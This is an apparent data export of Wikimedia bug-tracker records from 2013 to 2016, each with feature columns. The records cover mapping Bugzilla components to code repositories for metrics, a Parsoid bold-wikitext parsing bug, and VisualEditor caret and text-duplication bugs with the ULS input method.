+Analytics > Kraken: https://bugzilla.wikimedia.org/buglist.cgi?product=analytics&component=kraken&list_id=243545
+Datasets > Webstatscollector: https://bugzilla.wikimedia.org/buglist.cgi?product=datasets&component=Webstatscollector&list_id=243568
+Analytics > Wikimetrics https://bugzilla.wikimedia.org/buglist.cgi?product=analytics&component=wikimetrics
+Analytics > Wikistats https://bugzilla.wikimedia.org/buglist.cgi?product=analytics&component=wikistats
+Analytics > Limn https://bugzilla.wikimedia.org/buglist.cgi?product=analytics&component=limn
+Analytics > General/Unknown https://bugzilla.wikimedia.org/buglist.cgi?product=Analytics&component=General%2FUnknown
+Commons App > iOS (iPhone or iPad) https://bugzilla.wikimedia.org/buglist.cgi?product=Commons%20App&component=iOS%20%28iPhone%20or%20iPad%29
+Wikipedia App https://bugzilla.wikimedia.org/buglist.cgi?product=wikipedia%20app
+Wiki Loves Monuments > Mobile https://bugzilla.wikimedia.org/buglist.cgi?product=Wiki%20Loves%20Monuments&component=Mobile
+Wikimedia > Continuous integration https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=Continuous%20integration
+Wikimedia > DNS https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=dns
+Wikimedia > OTRS https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=otrs
+Wikimedia > Bugzilla https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=bugzilla
+Wikimedia > wikibugs IRC bot https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=wikibugs%20IRC%20bot
+Wikimedia > Blog https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=blog
+Wikimedia > Fundraising: Misc. https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=Fundraising%3A%20Misc.
+Wikimedia > Fundraising: Requirements https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=Fundraising%3A%20Requirements
+Tools > code-utils https://bugzilla.wikimedia.org/buglist.cgi?product=tools&component=code-utils
+Tools > mw-dumper https://bugzilla.wikimedia.org/buglist.cgi?product=tools&component=mwdumper
+Pywikibot > * https://bugzilla.wikimedia.org/buglist.cgi?product=Pywikibot
+MediaWiki-Vagrant > * https://bugzilla.wikimedia.org/buglist.cgi?product=MediaWiki-Vagrant
+Wikimedia Labs > tools https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia%20labs&component=tools
+openZIM > * https://bugzilla.wikimedia.org/buglist.cgi?product=openZIM
+Wikimedia > Quality Assurance https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=quality%20assurance
+
+I have checked all of them and works. So tomorrow you should have the new info.",,,1382519999,,PHID-USER-lepsd737p6wqwsowcou2,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,1
+255900,Bugzilla data scanned for tech metrics must be aligned with repos scanned,Yes!,,,1382370607,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+255898,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"Ok guys, is this ready to start downloading all those bugzilla product and components and adding them to the korma browser?",,,1382353678,,PHID-USER-lepsd737p6wqwsowcou2,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,16,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0
+255896,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"I guess we all know that there are no clear 1:1 mapping is possible, but instead 1:n or n:1. I just hope to avoid n:n. :)
+
+
+[[wikitech:Key_Wikimedia_software_projects]] -- Bugzilla product > component
+
+
+==Analytics==
+analytics/kraken                 --  Analytics > Kraken
+analytics/webstatscollector      --  Datasets > Webstatscollector
+analytics/wikimetrics            --  Analytics > Wikimetrics
+analytics/wikistats              --  Analytics > Wikistats
+github.com/wikimedia/limn        --  Analytics > Limn
+analytics/*                      --  Analytics > General/Unknown
+==Mobile apps==
+apps/android/commons 
+github.com/wikimedia/Commons-iOS --  Commons App > iOS (iPhone or iPad)
+github.com/wikimedia/WikipediaMobile  --  Wikipedia App
+github.com/wikimedia/WikipediaMobileFirefoxOS  --  Wikipedia App
+github.com/wikimedia/WLMMobile   -- Wiki Loves Monuments > Mobile
+==Integration==
+*                                --  Wikimedia > Continuous integration
+==Operations==
+Hard to define, mostly in rt.wikimedia.org, some in Bugzilla under ""Wikimedia > General"" with keyword ""ops"".
+operations/dns                   --  Wikimedia > DNS
+operations/software/otrs         --  Wikimedia > OTRS
+==Wikimedia==
+====Bugzilla====
+wikimedia/bugzilla/modifications --  Wikimedia > Bugzilla
+wikimedia/bugzilla/triagescripts --  Wikimedia > Bugzilla
+wikimedia/bugzilla/wikibugs      --  Wikimedia > wikibugs IRC bot
+====Communication====
+wikimedia/communications/WMBlog  --  Wikimedia > Blog
+====Fundraising====
+Mostly using CiviCRM; related components in Bugzilla are:
+                             --  MediaWiki extensions > FundraiserLandingPage
+                                 --  MediaWiki extensions > FundraiserPortal
+                                 --  Wikimedia > Fundraising Misc.
+                                 --  Wikimedia > Fundraising Requirements
+==MediaWiki misc==
+mediawiki/php/FastStringSearch
+    mediawiki/php/NativePreprocessor
+    mediawiki/php/luasandbox     --  MediaWiki extensions > Scribunto
+    mediawiki/php/wikidiff2      --  MediaWiki extensions > wikidiff2
+mediawiki/tools/code-utils       --  Tools > code-utils
+mediawiki/tools/mwdumper         --  Tools > mw-dumper
+==Pywikibot==
+pywikibot/*                      --  Pywikibot > *
+==Other==
+mediawiki/vagrant                --  MediaWiki-Vagrant > *
+labs/toollabs                    --  Wikimedia Labs > tools
+openzim                          --  openZIM > *
+qa/browsertests                  --  Wikimedia > Quality Assurance
+==Core Extensions==
+Don't want to spend too much time going through the list and syncing with https://bugzilla.wikimedia.org/editcomponents.cgi?product=MediaWiki%20extensions however noteworthy naming differences from the top of my head:
+
+PageTriage                       --  MediaWiki extensions > PageCuration
+Parsoid                          --  Parsoid > *
+SyntaxHighlight_GeSHi     --  MediaWiki extensions > SyntaxHighlight (GeSHi)
+VisualEditor                     --  VisualEditor > *
+Wikibase                         --  MediaWiki extensions > WikidataRepo",,,1382025323,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,True,,,15,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,1
+255892,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"Andre, if you could point to the Bugzilla product/component of each project at https://wikitech.wikimedia.org/wiki/Key_Wikimedia_software_projects that would be perfect!",,,1381773164,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,15,,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+255888,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"(If there is something I can specifically help with as Bugzilla admin, please tell me what I need to do for you folks.)",,,1381764843,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,True,,,15,,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+255882,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"Quim, for the Bugzilla components mapping, do you have some plan in mind for gathering the info from Wikimedia Community? Maybe we can start doing the mapping of the more clear components, but it there is a complete process to cover all of them, much better!",,,1381760730,,PHID-USER-lepsd737p6wqwsowcou2,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,15,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,1,0,0
+255876,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"Yes Quim, we can scan only components.",,,1380184604,,PHID-USER-lepsd737p6wqwsowcou2,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+255869,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"Álvaro, can MetricsGrimoire scan only specific components of a Bugzilla product? The reason to ask is that, ideally, we wouldn't scan the whole MediaWiki Extension product but only the relevant components.",,,1379952721,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+56454,Broken wikitext with bold inside and outside a label wrongly interpretted as correct by Parsoid,"**Author:** `jmichrina`
+
+**Description:**
+Example:
+Line from ""International_Air_Transport_Association_airport_code""
+
+DFW for Dallas–Fort Worth, DTW for Detroit–Wayne County, RDU for Raleigh–Durham, MSP for Minneapolis–St. Paul and LBA for Leeds Bradford (Airport).
+
+Line appears correctly formatted in editor [caps represent bold]:
+dfw for Dallas-Fort Worth, dtw for DetroiT-Wayne county, rdu for Raleigh-DUrham, msp for Minneapolis-St. Paul and lba for Leeds Bradford (Airport).
+
+Line appears incorrect on page [caps represent bold]:
+dfw for DALLAS-FORT WORTH, stw for dEtROIT-wAYNE COUNTY, rdu for RALEIGH-DURHAM, msp for mINNEAPOLIS-sT. pAUL and lba for LEEDS BRADFORD (AIRPORT).
+
+Note that the correct version appears in the editor even after it's saved.
+
+Possibly related to bug 53208, but I didn't have time to verify.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Medium,50.0,1379880120,1386117085.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-geakkjwdr2b6k3vobqx7,task_description,resolved,True,c1,3,False,False,False,11,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+254921,Broken wikitext with bold inside and outside a label wrongly interpretted as correct by Parsoid,"This has long been merged, so closing as fixed. Please reopen if there is still an issue.",,,1386117085,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-geakkjwdr2b6k3vobqx7,task_subcomment,,True,c1,3,True,,,22,,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+254914,Broken wikitext with bold inside and outside a label wrongly interpretted as correct by Parsoid,"Tidy should result in non-broken HTML (unless there is a bug in Tidy). I just checked and Tidy fixes PHP parser's broken HTML and generates: <p><b><a href=""/wiki/Foo"" title=""Foo"" class=""mw-redirect"">F<b>oo</b> B<b>ar</b></a></b></p> (Can be verifed at https://en.wikipedia.org/wiki/User:Ssastry/sandbox)
+
+As for Parsoid, yes, this kind of broken wikitext was not being handled properly so far, but that is set to change with https://gerrit.wikimedia.org/r/#/c/83216/ which is awaiting review.
+
+That patch generates the following HTML on the snippet which is similar to what Tidy generates
+
+<p data-parsoid='{""dsr"":[0,27,0,0]}'><b data-parsoid='{""autoInsertedEnd"":1,""dsr"":[0,27,3,0]}'><a rel=""mw:WikiLink"" href=""./Foo"" data-parsoid='{""stx"":""piped"",""a"":{""href"":""./Foo""},""sa"":{""href"":""Foo""},""dsr"":[3,27,6,2]}'>F<b data-parsoid='{""dsr"":[10,19,3,3]}'>oo </b>B<b data-parsoid='{""autoInsertedEnd"":1,""dsr"":[20,25,3,0]}'>ar</b></a></b></p>",,,1380680793,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-geakkjwdr2b6k3vobqx7,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+254908,Broken wikitext with bold inside and outside a label wrongly interpretted as correct by Parsoid,"I have fixed the particular problem with this edit: https://en.wikipedia.org/w/index.php?title=International_Air_Transport_Association_airport_code&diff=574406042&oldid=574202912
+
+This is caused by a bug in Parsoid, I believe, which is wrongly interpretting wikitext as valid when it should be invalid. Specifically:
+
+  '''[[Foo|F'''oo '''B'''ar]]
+
+… as …
+
+  <b><a href=Foo>F</a></b><a href=Foo>oo </a><b><a href=Foo>B</a></b><a href=Foo>ar</a>
+
+… whereas it should result in broken HTML, per the PHP parser (post-Tidy), as:
+
+  <b><a href=Foo>F<b>oo </b>B<b>ar</b></a>
+
+The broken wikitext was added in https://en.wikipedia.org/w/index.php?title=International_Air_Transport_Association_airport_code&diff=568156811&oldid=568156261 which isn't tagged as a VisualEditor edit but possibly could have been (and a secondary bug means it isn't tagged) - will investigate separately.",,,1380075628,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-geakkjwdr2b6k3vobqx7,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+56446,VisualEditor: Editor incorrectly selects slug and infobox onload,"Screenshot
+
+https://en.wikipedia.org/w/index.php?title=Daniel_Rowe_%28footballer%29&oldid=570278760&veaction=edit
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11872}",Medium,50.0,1379834460,1380049211.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-uw2trpgzgq47w4uqfske,task_description,resolved,True,c1,3,True,False,True,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+254522,VisualEditor: Editor incorrectly selects slug and infobox onload,"Change 85866 merged by jenkins-bot:
+Detect collapsed range inside focusable node in ve.ce.Surface#onChange
+
+https://gerrit.wikimedia.org/r/85866",,,1380043305,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uw2trpgzgq47w4uqfske,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+254518,VisualEditor: Editor incorrectly selects slug and infobox onload,"Change 85866 had a related patch set uploaded by Esanders:
+Detect collapsed range inside focusable node in ve.ce.Surface#onChange
+
+https://gerrit.wikimedia.org/r/85866",,,1380038162,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uw2trpgzgq47w4uqfske,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254514,VisualEditor: Editor incorrectly selects slug and infobox onload,"This is cause by ve.ce.Surface#showSelection not being aware of the slug at the start of the document. Also, because the focusableNode logic takes places before showSelection is called, it tries to do a native selection.",,,1380036773,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-uw2trpgzgq47w4uqfske,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+254511,VisualEditor: Editor incorrectly selects slug and infobox onload,"Created attachment 13347
+Screenshot of page after trying to Undo
+
+Causes loss of data as it makes it really easy to accidentally delete that selection when you start typing.
+
+When you then try to do Undo, the following exception is thrown:
+
+Uncaught Error: Cannot roll back a transaction that has not been committed 
+
+Also, for some reason the font has become noticably smaller (only in the affected paragraph; see screenshot)
+
+**Attached**: {F11873}",,,1379834796,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uw2trpgzgq47w4uqfske,task_subcomment,,True,c1,3,True,,,11,,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+56424,VisualEditor: Automatic Incorrect caret movement with ULS,"This is a separate report for automatic caret movement from one place to another when using VE with ULS.
+
+This problem has been seen with some other bugs, specifically, in the fourth[1], seventh[2] and tenth[3] comments of Bug 53708 and the original report of Bug 54421
+
+I also suspect that the problem in Bug 53701 is a form of this bug only.
+
+However, I am reporting this as a separate bug since I was able to reproduce it independent of these bugs.
+
+System environment:
+Win 7 X64 SP1
+Google Chrome 29.0.1547.66 m
+
+Test Url:
+https://www.mediawiki.org/wiki/User:Siddhartha_Ghai/sandbox?veaction=edit
+
+Steps:
+1 Enable ULS IME hindi transliteration
+2 Take the caret to the end of the first paragraph using the mouse (i.e click at the end of the first paragraph to take the caret there)
+3 Input [RETURN KEY][RETURN KEY]a
+
+Expected output:
+[NEWLINE][NEWLINE]अ
+
+Actual Output:
+[NEWLINE]अ[NEWLINE]
+
+As long as the return keys have been pressed, everything is fine and the caret is in the second newline. However, as soon as a is pressed, the input is in the first new line and not the second. The caret has hence moved up one line before the input is placed into the output text. The caret does not move back and is after the output अ
+
+This text is selectable, but can't be copy-pasted into an external text editor.
+The text is removable, so this is not entirely Bug 53708 . However, pressing a backspace when the caret is after अ removes अ along with the newline that precedes it.
+
+[1]: https://bugzilla.wikimedia.org/show_bug.cgi?id=53708#c4
+[2]: https://bugzilla.wikimedia.org/show_bug.cgi?id=53708#c7
+[3]: https://bugzilla.wikimedia.org/show_bug.cgi?id=53708#c10
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1379768640,1453748480.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-nql2oht74xidzmey66vl,task_description,resolved,True,c1,3,False,False,False,11,,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+596648,VisualEditor: Automatic Incorrect caret movement with ULS,"As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453748489,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nql2oht74xidzmey66vl,task_subcomment,,True,c1,3,True,,,134,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+253177,VisualEditor: Automatic Incorrect caret movement with ULS,"Hi,
+
+Confirming the above problem for VE+ULS (Typing input Marathi:अक्षरांतरण) Tested with Win 7 + Firefox 24.0 
+
+*Plus additional issue observed after Automatic Incorrect caret movement when I kept typing It started eating up text on right side in continuous movement simmiller to the problem described in Bug 53757 .
+
+
+
+
+Thanks and Regards",,,1379905436,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-nql2oht74xidzmey66vl,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+56421,VisualEditor: Text duplication when using jquery.IME on existing pages,"Screenshot showing text duplication
+
+This bug was observed when continuing testing from https://bugzilla.wikimedia.org/show_bug.cgi?id=53706#c3
+
+The entire test procedure is as follows:
+
+System Environment:
+Windows7 X64 SP1
+Google Chrome 29.0.1547.66 m
+
+Test Url:
+https://www.mediawiki.org/wiki/User:Siddhartha_Ghai/sandbox?veaction=edit
+
+Steps:
+Enable ULS IME hindi transliteration
+Take a caret to the end of the first paragraph using the mouse (i.e click at
+the end of the first paragraph to take the caret there.)
+Input ag
+Output will be अग् as expected but with incorrect selection as reported in the comment linked above
+Further input a
+This causes the text अग to show up at the beginning of the page with the text अग् at the end of the first paragraph remaining as it is.
+
+What should have happened:
+The original output अग् should have been changed to अग at the end of the first paragraph.
+
+So effectively the text is duplicated at the beginning of the page. This means that first the caret moves to the beginning of the page, then the text is duplicated.
+
+Note: The text is navigable and removable, so this is different from Bug 53708 and Bug 53711
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11824}",Medium,50.0,1379764980,1453749177.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-qb2engnawhn3el2wqyzm,task_description,resolved,True,c1,3,False,False,False,11,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+596660,VisualEditor: Text duplication when using jquery.IME on existing pages,"As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453749108,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qb2engnawhn3el2wqyzm,task_subcomment,,True,c1,3,True,,,134,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+253025,VisualEditor: Text duplication when using jquery.IME on existing pages,Automatic Incorrect caret movement has been reported separately as Bug 54424,,,1379768763,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-qb2engnawhn3el2wqyzm,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+56387,browsertests: configure Zuul,"This is a sub project of bug 53697 https://www.mediawiki.org/wiki/Continuous_integration/Browser_tests
+
+It covers setting up the Zuul configuration to trigger browser tests. From the wiki page:
+
+The exact workflow would need to be figured out with the VisualEditor team. A first step would be to run the browser tests after a change has been merged and report back in Gerrit for their information.
+At first we will only want to run browser tests after a change has been merged. This let us load the system progressively without disrupting the VisualEditor authors.
+
+We can later on make Zuul report back in Gerrit a message stating the result of the tests, that will raise awareness among developers and they can work on fixing the unsuccessful tests. Additionally, we can have the browser tests to be triggered on every patchset, the labs instance load will have to be carefully monitored.
+
+Once tests are properly passing and the setup has been proven useful, we can make Zuul to block patchsets not passing the browser tests. The developers would then be required to fix the code or the test to have their change merged in
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Medium,50.0,1379695800,1385993818.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-3qnp2v5yec7kxc653kc7,task_description,resolved,True,c1,3,True,False,False,11,,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+250715,browsertests: configure Zuul,Being added on an ongoing basis. Already added the ULS browser tests in the Zuul 'test' pipeline.,,,1385993818,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-3qnp2v5yec7kxc653kc7,task_subcomment,,True,c1,3,True,,,22,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0
